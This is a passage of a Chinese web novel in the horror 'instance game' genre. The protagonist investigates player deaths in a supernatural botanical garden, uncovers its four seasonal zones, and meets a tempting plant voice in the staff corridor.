——恭喜解锁剧情碎片“灵魂塑造机”
——剧情完成度达到60%
熟悉的声音出现了。
但这次，声音继续道。
——检测到您的剧情完成度已经达到60%，您可以选择继续副本，也可以选择直接通关。
——已获知真相的玩家数目：0
——您有三分钟的时间做出选择。
什么？？？
许舟愣住了。
她的眼前出现了个鲜红的倒计时，从180秒开始递减。
剧情完成度到达60%就可以通关了吗？
但是继续副本应该会有奖励吧？
已获知真相的玩家数目为什么要专门告知？
许舟很快就反应了过来，正如她向前所顾虑的，玩家对剧情的探索程度对自己的通关有着或大或小的影响，只是影响程度仍然未知。
在选择的时间内，整个世界仿佛静止了，小甜一动不动，保持着许舟脑海中的声音出现前的动作。
反正现在还没有玩家得知真相。
搏一搏，单车变摩托！
许舟在脑海中给出回应。
——“我选择继续副本。”
那个声音瞬间给出回应。
——请确认
——“我确认”
倒计时消失，小甜刚刚还不动的身体又照常行动起来。
刚刚被脑海中的声音打断，许舟还未好好观察这个房间。
许舟这时才惊讶地，这个房间其实非常简单，家具很少，只有一排书架和写字桌，甚至连张床都没有。
这个副本的npc好惨，还要睡地板，许舟不免汗颜。
许舟不敢乱说话，她故意用一种很复杂的眼神看向小甜，想引诱小甜自己说。
小甜并不多疑，她在与许舟独处时永远都是活泼天真的模样。
小甜的眼神闪着光，和许舟说道：“落洛，原谅我私自做决定，这两年木偶院赚的钱已经足够你后半辈子高枕无忧，既然我们的秘密好像被人发现了，就由我来背这口锅，你赶紧回去吧。”
许舟心中流过些许的感动，毕竟小甜这么做是为了自己，而先前自己还对小甜的行为多加揣测。
本来也打算让小甜背锅的许舟却犹豫了，哪怕小甜可能只是个npc，但她对自己的好是真真切切的，而且小甜让她想起了一个故人。
许舟不想让悲剧再次重演，也不想因为自己葬送小甜在副本里的人生。
阴差阳错之下，声音再次出现。
——恭喜您开启隐藏支线“保护小甜”
还有支线啊。
许舟一时的心软与犹豫竟然让她开启了一个隐藏的任务。
而任这个任务的出现让许舟坚定了不让小甜背锅的决心。
而在安慰小甜的同时，顺便还能再套套话。
“我也很怀念我们之前的时光，不过现在这样，也挺好的。”
许舟回忆起小甜叫醒自己的那天早上与自己说的话。
除了用学徒灵魂做木偶之外，花落洛和小甜之间应该还有着不小的故事。
许舟安慰小甜道：“没关系的，总会有办法能让我们都安全，我们可以再想想。毕竟我们已经一起相处了这么久，应该也度过了不少难关吧。”
许舟想钓出花落洛和小甜过去发生的事。
小甜深黑色的双眸又甭发了几点光芒，她拉着许舟来到书架旁，随后蹲下，似乎想拿什么东西给许舟看。
许舟借着这个空档，观察起书架旁边的写字桌。
写字桌与许舟卧室的床头柜情况类似，都已然蒙尘，但是上面放了一个精致的陶瓷杯，杯子无使用痕迹，更没有一丝污垢。
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哦，现在是下午两点多，符合真园长的出没时间。
许舟顿悟，遇上本尊了。
她干巴巴地笑了两声，说道：“园长，我昨天做噩梦了，没有别的意思。”
园长点了点头，而后善意地说道：“现在下着小雨，可以回酒店的公共伞区拿一把伞。”
虽外形气质与树精所扮演的园长一样清冷，但真园长却少了那种自命不凡的感觉，多的是温暖的善意。
许舟趁机看向园长身后，想套话：“那个小房子...”
“新来的是吧？”园长看着她懵懂的目光，善解人意地说道，“所有人进入和离开植物园，都要经过这个小房子安检。你回忆一下，第一天来上班时不也是走这里吗？”
许舟恍然大悟般点了点头：“对，是走这里。我记性不好，有些路痴。”
原来这个小房子是通往植物园外的。
“除了我在植物园内行动时也经过这个小房子，其他工作人员在植物园内行动时一般都走员工通道。你以后就懂了。”园长笑了一下。
员工通道？在植物园内行动时？
许舟表面风平浪静，内心却开始了新一轮的思考。
那就是说，从这个小房子不仅可以离开植物园，还能去植物园内的其他地方。
园长通常都直接走小房子去植物园的其他地方，而绿化工和引导员要去这个地方，就得走员工通道。
员工通道在哪呢？
许舟装作急于了解植物园的新工作人员，迫切地问道：“那员工通道在哪呀？”
园长却在此刻拿出了手机。
许舟一怔，为什么NPC都能有手机，自己却不能带手机进副本啊？？？
园长亮起手机屏保一看，说道：“十五分钟了，我该走了。员工通道的问题，下次排班会有人带你去的。”
说罢，他便拉开小房子的门，急匆匆地走了。
顺便，关门时还传来“啪嗒”的锁门声。
“这么急着走？”许舟情不自禁地吐槽道，“告示牌上写着园长只有14：00~15：00会出现在园区，本来时间就短，怎么还刚来十五分钟就掐点走呢？”
“谁让人家是园长呢？”沈霁无可奈何地摊了摊手，“起码他透露了不少信息，也不算毫无收获。”
“那个...你们好。”一棵树的后面突然走出来一个女人。
许舟在脑海里回忆起这个人的面孔——她是昨夜那最后一个急匆匆进入夏季主题酒店的女玩家。
“你在偷听我们说话？”许舟有些不满地说道。
“没有没有。”女人连连摆手，为自己辩解道，“我到这里的时候，园长刚好说他要走了，我也不方便刚好出来打扰。”
“那你是...？”许舟有些诧然地问道。
女人咬了咬自己的下唇，似乎陷入了一阵犹豫不决。
“说吧，你是有什么需要帮助的事情吗？”许舟神色稍缓，问道。
“我刚刚好像看到了一个游客的尸体...”女人咬咬牙，终是决定开口，“但是那个地方，我一个人不太敢进去，你们可以和我一起吗？”
“付胜？”许舟秀眉一挑，看向沈霁。
“付胜...？”女人皱眉，思索片刻道，“我不知道付胜是谁。但死去的游客，好像是那个被称呼为左大哥的。”
73. 四季植物园（13）
“你说谁？！”听见女玩家的答复，许舟的表情僵硬了一瞬，难以置信的问话声脱口而出，“左通海...死了？”
她转头看向沈霁，似乎想求证自己刚刚的所闻。
“叫不叫左通海我不清楚。”女人一脸严肃地说道，“但他身旁的一个男人确实一直叫他左大哥。”
“可是...怎么会？”许舟的眼睛转了转，有些沙哑地问道，“他已经知道死亡条件了。”
“忘记自我介绍了，”女人抿了抿唇，向前一步道，“我叫典寻云。”
“你带我们去看看吧。”许舟说道。
她也迫不及待地搞清楚到底是怎么回事。
如果死者确为左通海，那先前推断的死亡条件，就可能会被推翻。
典寻云见状，痛快地点了点头，毕竟她一开始找到两人，也正有这个意思。
许舟跟着典寻云刚走两步，另一个问题便跃入她的脑中。
“等等，可能我们有些敏感了，”许舟放缓脚步，警惕地跟随着典寻云，问道，“但你有办法证明自己是真的典寻云吗？”
“嗯...？”前面不远处的典寻云疑惑地顿了顿，而后说道，“你是怀疑我是植物吗？”
听起来，如果眼前典寻云为真，那她也已经基本知晓植物园中植物所存在的一些问题。
“我只是觉得有点奇怪，你在见到尸体后，是怎么想到来告示牌这找我们的？”许舟不紧不慢地问道。
而典寻云倒也沉着冷静，她从若不迫地回答道：“午餐时间，我也去了餐厅，当时你们在吃东西。我无意间听到你们要来告示牌这里。”
许舟并未吱声，似乎在琢磨这话的可信度。
“我没有特意偷听，但是这酒店餐厅就那么大。”典寻云似乎有点吐槽餐厅小的欲望，“还有，我看到你们碗碟里只有肉类，所以我也没敢吃蔬果。”
许舟心中的疑虑渐渐被打消，她恢复了正常的步速，跟了上去。
“刚刚有点怀疑你了，抱歉。”
“理解，换做我我也会问清楚。”典寻云丝毫不介意。
...
“就是那里。”典寻云停住脚步，指向不远处。
三人已然沿着小路走了一阵，而在典寻云所指的地方，平坦的地面隆起了一个等腰高的小山坡，周边不再长满树木，而是绽放着夏季的鲜花。
“山坡...？”许舟歪歪头，问道。
“那有个向下的山洞。”典寻云解释道，“入口在山坡背对我们的方向。”
许舟面色凝重地点了点头，这样便完全可以理解为什么典寻云会不敢一个人进入。
“对了，那个左...叫什么来着？”
“左通海。”
“对对对，左通海。”典寻云提到左通海，脸色便刷的一下变了，“他的尸体就在洞口，唉，别提多吓人了。”
“我知道。”
在这里死于植物，哪会有什么好死状？
见到典寻云到这便顿住了脚步，许舟看穿了她的畏惧，于是主动走快两步越过了她，带头向前走去。
“谢谢。”典寻云目光闪烁。
她有些过意不去，但却难以抑制内心的恐惧，只得不好意思地道了声谢谢。
“不知道为什么在夏季环境，左通海会变成一块冰雕？”典寻云的言语中，透露着些许兔死狐悲的感情。
毕竟，左通海与她都是玩家。
“冰雕？！”许舟再次感受到惊讶。
但还没来及细想，一行人便已经走到了洞口。
想象中的与许舟埋盆栽时所见到的被树根贯穿的人相似的场面并没有出现。
相反，左通海的面容平和、眼眸微闭。
倘若不是他发丝与睫毛上细小的冰晶闪烁着点点寒光，皮肤亦已然成为深蓝的冰片，许舟会以为他正沉浸在某个宁静的梦境之中。
许舟轻轻碰了一下左通海，他的指尖冰冷，无法传递丝毫的温暖，已经化作了夏季中冬日的永恒。
左通海便在洞口，以特殊的方式为炎热的夏天带去丝丝凉意。
而许舟便在这时才忽地意识到，自己的背脊已经被汗水渗透。
而在夏季中完全感觉不到热感、未流下一滴汗的自己，就出现在昨天。
当时还是叽叽喳喳的付胜让她发觉自己并不畏惧炎热。
为什么仅仅过去了一日，身体就发生了翻天覆地的变化？
许舟皱了皱眉。
“我们继续往前走吧...？”典寻云看许舟思衬良久，忍不住说道。
“不急。”许久不出声的沈霁说道，他有些关心地看着许舟衣服上的汗渍，似是也感觉到了许舟的不对。
“走吧。”许舟出声说道，“没什么大碍。”
“里面好黑。”典寻云缩了缩肩膀，说道。
“我记得你有那个。”许舟看向沈霁，用双手比划了一个手电筒。
“好好好。”沈霁打开手电筒，前方的道路瞬间一片光明，“还好我带了。”
“准备充分，不愧是我花店长的好学徒。”许舟笑嘻嘻地说道。
前方的道路向下倾斜延展，上方偶挂着几颗钟乳石。
而不规则的墙面上还生长着一些挂壁植株。
“有些滑，你们小心一点。”许舟看向脚下的苔藓，出生提醒道。
然而洞内的温度虽然比外界世界凉快不少，但绝不至于把人变成冰雕。
而任何冰雪的痕迹也并没有再出现。
这让冰雕人左通海在这里变得格格不入。
“我觉得，左通海不是死在这里的。”许舟看着周围点点绿色，与脚边偶有的小水坑，说道。
“你的意思是，他的尸体被人刻意转移到了这里。”沈霁也觉得冰雕左通海与这里的环境很违和。
典寻云一言不发，一边谨小慎微地避开苔藓向下走去，一边默默听着两人的对话。
“那目的呢？”许舟陷入思索。
“嫁祸？”沈霁猜测道。
许舟听了这话，轻轻点头：“嫁祸给夏季的植物。让别人以为左通海死于夏季植物之手。”
沈霁沉吟半晌，说道：“那又是谁做的呢？”
冰雕人...
怎么都不像是人力可为。
“冬季的植物？”久不吭声的典寻云在这时冒出一句，加入了两人的谈话。
许舟一怔。
典寻云垂眸道：“我乱猜的，不要当真。”
“不不不，我觉得你的猜测很靠谱，也最接近真相！”许舟连连否决掉典寻云的自我否认，“说不定，就是真相。”
“真的？”典寻云难得地勾起了唇角。
“真的。”许舟真
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诚地看向典寻云，说道，“那现在的问题，就从是谁做的，变成了冬季植物为什么可以在夏季动手。”
“我记得很多植物都是全年生长的，冬季存在的植物在夏季也存在是挺正常的。”得到肯定的典寻云说道。
许舟想了想，说道：“虽然许多植物都是全年生长，但花期和果期却通常在固定的几个月。”
沈霁明白了许舟的意思：“而根据这段时间的观察，在植物园内活跃的也是花期或果期中的大部分时间处在夏季的植物，比如窗台的果浆，便出现了蓝莓和醋栗。”
三人一时之间陷入了沉默，似乎一下找不出个答案。
而随着三人的深入，壁上出现的便不是偶有的独立绿植，而是几条粗大的树根在壁上穿出又穿入，像极了衣物的缝合线。
而这些树根，便都来自于洞穴的更深处。
“对了，你是植物园的引导员，为什么和我们这些玩...游客一起？”典寻云有些好奇地问道。
“那你们这些游客，又为什么突然来挖掘植物园的秘密呢？”许舟细眉微弯，反问道。
典寻云沉吟片刻：“我们作为游客，发现植物园可能威胁生命，所以想在这几天尽可能活下来。知己知彼百战百胜，干脆就去看看植物园有什么秘密了。”
看得出来，不知道许舟身份的典寻云，已经在竭力掩盖自己的玩家身份。
大多数游客，只会选择提前离开这个是非之地，只有玩家，才不能轻易离开植物园。
“我是这儿的新员工，被黑心老板骗了，还要打很久的工。”许舟泪眼朦胧地说道，“为了保护自己，我也想挖掘植物园的秘密。”
沈霁皮笑肉不笑地瞥了许舟一眼——开始了开始了。
“呃...”典寻云沉默了，“没事，相信我们一定能发现黑心老板的秘密的。”
“你们觉不觉得，这里突然有一股很浓牛奶香？”沈霁突然说道。
刚刚在“悲伤哭泣”的许舟在一秒之内收回了泪水，回过神来闻了闻：“确实，这不是酒店房间盆栽那种让人有食欲的香味，而是我刚来到植物园时在周围的树上闻到的那种奶香味。”
至于恶心的腐烂味，许舟决定先不说出来。
“这个味道在洞穴外的很多树上都有，我已经习惯了，闻不太出来。”典寻云说道。
紧接着，她抬起手指向了前方。
许舟顺着她手指的方向看去，前方的天花板上伸出来一条长长的树根，一块白色半透明的帷幕便垂挂在树根之上。
帷幕隔绝了许舟三人与洞穴的更深处，却勾起了许舟的好奇心。
她缓缓向前靠近，而典寻云便一步一顿地跟在她的身边。
许舟到达帷幕前，开始了倒数：“三，二...”
典寻云双眸微闭，似乎不敢直面帷幕后的未知。
“一。”数到一，许舟倏地把手触碰到帷幕之上，猛地拉开。
先让人产生剧烈反应的并非眼前的场景，而是飘入口鼻的气息。
先前的奶香味，顷刻之间成为了许舟熟悉的味道——她在初遇的鬼脸树上闻到的腥臭味。
“唔，这是什么！”典寻云忍不住别过脸去，微微弯腰，但这动作也不过是心理安慰，对抵挡无处不在的恶臭没有半点效果。
“是付胜。”沈霁看向前方，缓缓开口。
74. 四季植物园（14）
帷幕的后面是一个空旷的空间。
沈霁手里的手电筒的光芒直直地照射在付胜的脸上，竟显出几分诡谲。
付胜的眼神空洞而迷离，失去了往日的神采，脸上挂着一个僵硬的笑容，如同皮下生出一层枷锁控制住了他的表情。
“他的身子...”
蓦地，典寻云忘却了霉腐味的存在，目光紧紧地锁定在付胜的身体上。
听了典寻云的话，沈霁稍微将手电筒的角度下移，聚光点缓缓地从付胜的头部移动到他的身躯。
他的躯体上正缠绕着手臂粗的藤蔓。
而这些藤蔓，均来自于四面八方的洞墙。
在藤蔓的操纵下，付胜抬腿、迈步，双臂微摆。
一步，又一步。
他步履落落地向一个方向走去。
虽然他的动作协调有序，但却在藤蔓的牵引和控制下，展露出一种被囚禁的绝望与迷离。
尽管付胜先前有害人的想法，但当他如此狼狈地出现在许舟面前时，她仍不免心头一颤。
如果付胜没有那么做，就绝不会有这样的结局。
然而，在众目睽睽之下，当付胜愈发靠近一向崎岖的墙面时，他倏地看向三人，咧起的嘴角缓缓垂下，鬼魅的笑在呼吸之间化作了难言的悲。
紧接着，他的嘴巴动了动，微张的嘴里是黑暗一片。
然而一片叶子从他的嘴角探了出来，在这一刹那，他的嘴大张至o形，粗壮的树枝竞迅速从他的口中拔节而上，直冲洞穴凹凸不平的天花板。
藤蔓松了松，渐渐地解除了对付胜的缠绕，默默地缩回了它们原本的位置。
而付胜一个趔趄，坐到了地上，他的双腿如同失去了骨头一般肆意地弯曲。
而他的上半身靠向了墙上的一个凹槽之中，这个凹槽恰巧能容纳付胜的上半身，令他的身体卡在了其中。
“这个凹槽，就像是为他量身定制的棺材。”许舟轻声说道。
寥寥数语，却卷起飕飕凉意，袭向典寻云的后背。
典寻云缩了缩肩膀，说道：“希望我不要变成这个样子。”
“不会的。”
最后，付胜口中冒出的树枝伸出一节枝桠，挡在了他的身前，让他的上半身消失在众人的视野之中。
疯长的叶片铺在了他的腿上。
就像...合上了棺材板。
“这里，死过多少人啊...”典寻云发出内心深处的感慨。
听了她的话，许舟看向付胜最后所在位置的周围，眼底薄薄的悲凉浮现。
这面墙上，布满了如付胜的“棺材板”一样的枝桠，虽然高低不一，但它们无一不符合人上半身的高度。
“这不是付胜一个人的棺材，而是一面棺材墙。”沈霁沿用了许舟的比喻。
“不，这是三面的棺材墙。”许舟眼睛转了转，看向其他沈霁的手电筒没照到的地方。
除了三人来的方向，其他的几面墙上都是一样的枝桠“棺材”。
“怪不得，这里这么臭。”典寻云面色如土，声音微哑，“这片帷幕，居然能挡住这样的恶臭。”
臭味之蹿鼻尖，熏得她有些头晕眼花。
“这帷幕，并没有挡住恶臭，而是有特殊的功效，让恶臭变成了香味。”
事到如今，许舟无情地揭开了残酷的面纱。
已经走到这一步，就没必要保留过多无谓的幻想了。
“那里好像有微光？”许舟的头转向一个方向，眼中不由得多了几分打量，“关一下手电筒。”
几人的眼底在数秒之内便被一层黑暗笼罩。
而黑暗之中，果然有一个地方，闪烁着点点的微光，似乎通向另一个地方。
行动快于言语的许舟果断向光点走去，她的脚步声在针落可闻的洞穴中清脆入耳。
沈霁心领神会地抬腿跟上。
渐行渐远的脚步声进入典寻云的耳畔，她不再多加犹豫，紧紧地跟到了两人的身后。
在这片洞穴的空旷地带，路面较为平缓，三人哪怕在微光之中，亦能行走自如。
随着他们的靠近，光点在眼眸之中渐渐变大。
“哎呀。”许舟的额头撞到了石壁，感到轻微的疼痛。
许舟的动静让身后的两人立即停住了脚步。
“噼啪——”
身后传来沈霁按动手电筒开关的声音。
“噼啪——噼啪——”
痛觉瞬间被这种声音冲洗，许舟未语先笑：“你这个手电筒，不太靠谱。”
随即，许舟半蹲身子，伸手抚摸前方的墙面。
洞穴之中，又有一个洞口。
光便从其中向外蔓延。
凭借肌肉的感觉，这个洞口足以让一个人以爬的姿势前行。
大小，有点像粗糙的滑梯。
“这有个洞，要爬过去。”许舟清醒地说道，“要小心一点。”
说罢，许舟便俯下身子，率先进入这洞口之内。
“沙沙——沙沙——”
一时之间，耳畔只剩下三人匍匐前进的摩擦声和喘息声。
前方的坡度陡然变大，让许舟不得不更加聚精会神，每向前迈进，就必须小心翼翼地确保四肢至少有三个支点在泥土之中固定。
时光在缓慢的爬行之中被无限拉长，每一分每一秒都有如万年。
当耀眼的阳光没过许舟的眼眸，她钻出洞口，坐到地上大口大口地呼吸新鲜的空气。
“终于出来了。”典寻云落地以后，回眸望向来时的道路，瞬间哑然。
她惊讶地张了张嘴，但却没有发出声音。
“觉不觉得有点熟悉？”许舟顺着典寻云的目光看去，不免更为惊讶。
“我们居然是从一棵树里钻出来的！！！”一向语气鲜有起伏的沈霁也在此刻发出感慨。
“而且，我们还认识这棵树。”许舟抬眸，望向这棵参天大树。
这棵生长在夏季主题酒店后的大树，这棵许舟和沈霁埋盆栽时所见到的大树。
许舟和沈霁当时只见到大树的其中一面，殊不知，在这棵树的另一面，树皮之间赫然有一个巨大的洞口，其内空心，直通地下的洞穴。
想到这里，许舟抬了抬眼皮：“付胜的死法，和我们挖到那人差不多。”
许舟抖了抖身上的尘土，大步流星地向酒店正面走去——
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员工通道的事情，还没有着落。
然而事情总不是一帆风顺。
那一次又一次出现在许舟面前的人又出现了。
先前，也许会觉得是巧合，但现在，这种想法已然被许舟摒弃到九霄云外。
“李梅梅。”许舟率先开口。
“你找到了吗？”
也许是看见许舟从一个鲜有人迹的地方踏步走来，李梅梅觉得许舟找到了那样“东西”，因此眸中闪动着微光，似是充满了希望。
然而不明情况的典寻云却正要从树的背后走出。
所幸，听见问话的沈霁反应及时，拉住了典寻云。
许舟微微转身，用余光瞥向大树，默契地猜到了情况。
虽然她不知道李梅梅说的东西到底是什么，但她面露遗憾地说道：“还没有...可能不在这里。”
“这样啊。”李梅梅失望地说道，“那可能不在夏季这里了。”
不在夏季这里？
许舟眉心微动，翻译出李梅梅的言外之意——要找的东西会出现在四季中的某一季。
但问题又来了，现在植物园正处夏季的模拟，要如何转变模拟的季节呢？
顺着李梅梅的话，她施以温柔一笑：“等其他季节时看看吧。”
“也对，这样就剩下春季和秋季了，二分之一的概率。”李梅梅自我慰藉道。
话语不多，却句句重点。
为什么这东西不可能在冬季呢？
“对了，在夏季待了一段时间，身体还能接受吧？”李梅梅向前一步，摸了摸许舟的后背。
“还行。”许舟模棱两可地回答道。
她已然猜到李梅梅意指何处——自己从不觉炎热到汗流浃背的身体变化。
那么，为什么自己在夏季会有这种变化呢？
“那就好。新的班表出了，我还没去看。”李梅梅提议道，“咱们现在去看看？”
“好。”
真是得来全不费功夫，许舟对班表与员工通道已然等候多时了。
跟在李梅梅的身后。两人一路无言。
许舟担心自己贸然开口会说错话，因此一直等着李梅梅主动出声，然而李梅梅本身却也是个极为内敛的人，若非正事绝不开口。
酒店正门边立起了一块许舟从未见过的小白板，最顶上用黑笔写了“姓名”与“排班”四个大字，其下便以这两个词组为列标，整整齐齐地写了两列字。
完了！！！
我叫什么名字？？
许舟站在李梅梅身后，尴尬地扫视着这一列陌生的名字。
“对了，那个男人答应帮我们了没有？”李梅梅伸出一根手指，在名字上细细找寻，顺口问道。
许舟恍然猜到她说的男人正是沈霁。
既然自己所扮演的角色与李梅梅有共同的目的与秘密，而李梅梅却在分房间时主动让自己和沈霁住在隔壁，那就只有一个解释——
她们要拉沈霁入伙。
“答应了。”猜到是沈霁后，鬼使神差般，许舟想都不想就替沈霁应了下来。
“找到了。”许舟话音刚落，李梅梅就神采飞扬地说道，“这是你的排班。”
75. 四季植物园（15）
只见李梅梅指骨分明的手指正对着三个字——江年盈。
许舟飞快地记住了自己在这个副本里的名字。
然而...
李梅梅的话语拢回了许舟刚被这个新名字掠走的注意力。
“江年盈下一次的排班在冬区，这样你去春区和秋区都不会遇到她。”她笑眯了眼，露出真心实意的笑容。
许舟故作镇定，在白板上“江年盈”三个字旁敲着指节，偏头答应道：“好。”
而在她指节一下又一下的敲击中，心神却在不断地吸收李梅梅话语中的信息。
这个副本，俨然是一场剧中剧。
自己并不是“四季植物园”副本的原住民，却随着她迈入副本的那一刻，成为了副本里的某个人，还要扮演这个人。
荒诞不经的副本总是令人出乎意料。
她这次扮演的人，还出于某种目的，假扮成了这个叫江年盈的人。
与此同时，为了避免被其他工作人员察觉异样，每次排班都选择江年盈本尊不在的地方。
这样，便不会同时出现两个江年盈。
“我看看...”李梅梅垂下眼，眸光透过眼帘继续在白板上搜索。
半晌，她略略扬起嘴角：“太好了，李婉清这次也排到了冬区，我可以继续和你一起了。你想先去春区还是先去秋区？”
“嗯...？”许舟一怔，问题被李梅梅突如其来地抛给了自己，不免猝不及防。
她眯起眼睛佯装苦闷，实则思绪起伏不定。
这样一来，李梅梅的事情便也解释得通了。
这不过是类似的戏码——眼前神秘莫测的李梅梅并不是真正的绿化工李婉清，她故意选择李婉清不在的地方冒充她，为的就是不容易被发现。
植物园工作人员有这么多，谁会真的细究一个小员工呢？
然而眼下是这个选择题，只有两个选项。
也许，前面是深渊，后面亦是虎穴。
理清思绪的许舟相当坦然地说道：“我觉得我们这样找东西的效率太低了...”
随即她故意停顿片刻，大抵需要留给李梅梅缓冲的时间。
李梅梅的低下头有些失笑：“是我考虑欠佳，那么...我们分头行动吧？”
对李梅梅答案早已心知肚明的许舟装作有些惊讶的模样，而后垂眸道：“好像也只能这样了。你注意安全。”
虽然不知道要找的东西到底是什么，但许舟不希望身边埋着一颗熟悉自己所扮演的NPC的定时炸弹。
小甜，可不就是最好的例子么？
李梅梅略略低头，放低了点姿态说道：“那你想去春区还是秋区？你先选吧。”
“秋区吧。”许舟平静且清晰地说道。
“好。那我先走了。”
李梅梅对着许舟微不可察地俯了俯身子，转身离去。
在不知情的外人眼里，两人只是再普通不过的同事，随口多说了几句话，打发一下平淡无味的上班时光。
在许舟眼里，她却发现了点不一样的东西——李梅梅对自己的态度，似乎有着几分恭敬——她其实是自己的下属？
也对，许舟舔了舔嘴唇，笑了笑——这才符合自己的boss身份嘛。小小引导员算什么？
当李梅梅彻底离开许舟的眸中，她看向不远处略有些鬼鬼祟祟的两个身影，抬了抬眼皮，大声说道：“人都走了，你们还躲着做什么？”
沈霁和典寻云满脸无辜地走了出来。
典寻云扫了扫许舟，又瞅瞅沈霁，识趣地说道：“既然我们已经去完洞穴了，那我就不多打扰了。”
许舟并未阻止，应和的声调一如既往地平淡。
她和典寻云不熟，自然不会加以挽留。
待两人无声地看着典寻云匆匆回到酒店，沈霁的喉结才动了动：“花师父一直不叫我，我这么敢贸然出现呢？”
许舟知道，他这是在回答自己刚刚的问题。
她皮笑肉不笑地说道：“那我是不是还得表扬你呀？”
“咚——”
钟声不适时地响起，打破了安乐的氛围。
由于两人身处酒店门边，从大堂内传出的钟声格外震人心魄。
接连响了八下，预示着八点的到来，亦是不紧不慢地催促着两人。
许舟正色道：“我们刚刚说的，你们都听到了吗？”
“听不太清楚。”沈霁如实回答。
于是，许舟撩了撩在洞穴里弄乱的碎发，与沈霁说明了李梅梅的话语。
“我们之前的猜测，有一点是错误的。”已经吸收消化完全的许舟，轻而易举地说出了自己的新发现。
“植物园对春夏秋冬的模拟，并不是按顺序依次进行。”沈霁稍抬下巴，说道。
“而是在偌大的植物园中，分别有春、夏、秋、冬四个分区。”许舟用格外肯定的语气说道，“我们这段时间所处的地方是夏区，不过占了整个植物园四分之一的大小。”
其实这并非无迹可寻。
沈霁启唇说道：“所以虽然告示牌上写着，园长每天会出现在园区一小时，但实际上他在我们跟前掐着十五分钟的点就离开了，是因为一小时平摊到四个区域后，只有十五分钟。”
忽然急而烈的风吹落几片枝头上的树叶，叶子错落地降到地上，发出无序的声响，提醒许舟回忆告示牌上的内容。
“告示牌的第二点——''请保护好手腕的荧光条带，这是您出入分区的唯一凭证。如丢失腕带，将请您出园。''”许舟虚抬手臂，在发间与风之间形成了一个间隔，避免风将头发吹乱，“这里的分区，指的并非是整个植物园区，而是春夏秋冬四个小分区。不同腕带颜色的游客可以走进不同分区。”
“不出意外的话，这个排班应该是明日生效。”沈霁增大自己的音量，不愿让此被风声吞没，“离开夏区、进入新的分区之后，死亡条件可能会变。”
这就解释了为什么夏季的死亡条件是食用果浆，而却在洞口旁遇到了死于冬区植物之手的左通海。
四个分区的植物有可能化作人形，前往其他分区。
让许舟想明白植物能以人的形体出现，还得得益于化作假园长的树精。
而不同分区植物的杀人手段也是不一样的。
诱导人食用浆果，仅仅属于夏季植物的手段。
除去夏，还有春秋冬三季，即还有三种未知的手段在暗处悄然等待着所有人，正寻觅合适的时候伏击。
“我明天会去秋区。”许舟点点头，不咸不淡地说道，“因为我遇到过秋日来客，对那边的死亡条件会更了解一些。”
“是你昨天和
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我说的那个黄色工作服的绿化工？”沈霁的回忆里，似乎有这么一件事。
“没错，那位大概率是秋季来客。让一位陌生玩家淹没在了麦田之中。”这勾起了许舟不太愉快的回忆，她的眸光黯淡了些许。
“对了，明天之后，你...”许舟猛然抬头，看向沈霁，却没有把话问下去。
自己能轻而易举地通过员工通道在各个分区间游走，沈霁却不行。
他是一位游客，不是员工。
沈霁扬声道：“我看看能不能一起溜过去，别忘了...”
随即，沈霁刻意扬了扬自己被藤蔓缠绕的手腕，藤蔓掩盖着的，是他的蓝色腕带：“我本来就不是参观夏区的游客，我这样一个不速之客能出现在夏区，去其他区又有什么难的呢？”
...
第二天清晨六点。
许舟像一条鱼一般在床上扑棱了两下，便挣扎着起了身。
在植物园严格的日夜模拟下，银色的光芒仍洒满大地，没有半缕阳光现身提供温暖的金色。
天亮时间在八点，工作人员的工作时间也八九不离十。
为了带上游客沈霁错峰“上班”，两人只好约定以早起换取便利，在植物园的众人皆未苏醒之时就前往员工通道，踏上前去秋区的道路。
当然，寻找员工通道这件事，已经被两人不由分说地轻松带过。
当昨日分别前思索员工通道的位置时，两人默契十足地想到了午餐时间那推着餐车的引导员走出来的地方。
出于保险前往那个方向查看，果不其然见到了大堂卫生间旁一个不起眼的小门，上边用歪斜的笔画写着“员工通道”。
许舟走出房间门时，沈霁也刚巧开门走出。
没有一丝声响的酒店与植物园在此时此刻总能让许舟产生一种即将尘埃落定的安心感。
到了一楼后，许舟轻手轻脚地走到大堂卫生间，在沈霁耳畔轻声说道：“你先在这等我，我打开员工通道的门看看。”
随即，许舟像只冬日里的小猫一般悄悄向员工通道靠近。
“啪嗒——”
门被许舟拧开了。
门后是一条悠长而雅致的走道，宛若一条精心铺设的的绸带。柔和的灯光在两侧的灯带上洒落，恰到好处地照亮走道，不免令人感到温暖。
许舟对着沈霁的方向轻“嘿”一声，向他拢拢手——安全，快来。
身形挺拔的沈霁弯着腰，低着头，尽量缩小身形，而后向许舟靠近。
鬼鬼祟祟、偷偷摸摸、心怀不轨。
一系列许舟觉得适合形容沈霁现状的词语在她的心里喷涌而出。
“噗呲。”许舟笑了一下，转眼间便吞了口口水，硬生生将笑意压了下去。
“想要不一样的生活吗？”
一句时常在传销广告里听到的话，以近乎鬼魅的方式从走道的方向飘入许舟的耳中，勾搭着她的心魄。
笑意自然而然地被搅散。
沈霁也倏地停住了脚步，用迟疑的眼神望向许舟，似乎在等待着一个答案——继续前进，还是先躲起来？
但当许舟侧脸看向走廊，里面却仍是空无一人。
“想要不一样的生活吗？”
摄人心魂的声音再度出现。
这一次，音量又大了几许。
76. 四季植物园（16）
呼——
一股阴冷的气息从走廊的深处扑面而来，其中掺杂着几分粘腻的触感。
许舟的发丝被吹乱了几许，她仍保持面朝走廊的方向，却偷偷在身后伸出手，向着沈霁微不可察地左右摇动，释放出暂停的讯号。
准备悄悄潜入员工通道的沈霁瞬间停下了脚步，身手敏捷地侧过身去，将背部与墙壁紧紧贴合，以缩小正面看去的可视面。
若员工通道来音的主人是工作人员，自然不能让其发现沈霁的存在；若不是人类，亦不能打草惊蛇。
“我可以给你金钱，很多很多的金钱。”
声音分不出性别，却如山间清泉般悦耳动听，让人不由自主地沉浸其中，勾魂摄魄。
电光火石之间，许舟感到视野变得昏暗些许，略微仰仰头，自己的身后已被满墙橙黄色的银杏叶包裹，再无退路。
许舟向前迈出两步，尽可能地远离身后的银杏叶，心里却在暗自琢磨。
从乐观的角度看，起码已经确定了问话的对象。
“你是秋区的植物吧？”许舟眉头舒展，淡泊从容地问道，“银杏叶，多在秋天变黄。”
“是吗？”
声音不咸不淡，似乎想一探许舟的虚实。
许舟淡淡地一笑：“我本来就是要去秋区，没想到你这么急躁，这就找上门来？”
“我一直静候于此，询问每一个过路的工作人员。”
“那你到底是谁？仅仅是秋区的普通植物？又或者说，你听从谁的指示？”许舟深知在自己不触犯规则的情况下，对方不能伤害自己，进一步地逼问道。
“你还没有和我谈判的资格。我只要一个答案，你想要更好的生活吗？”
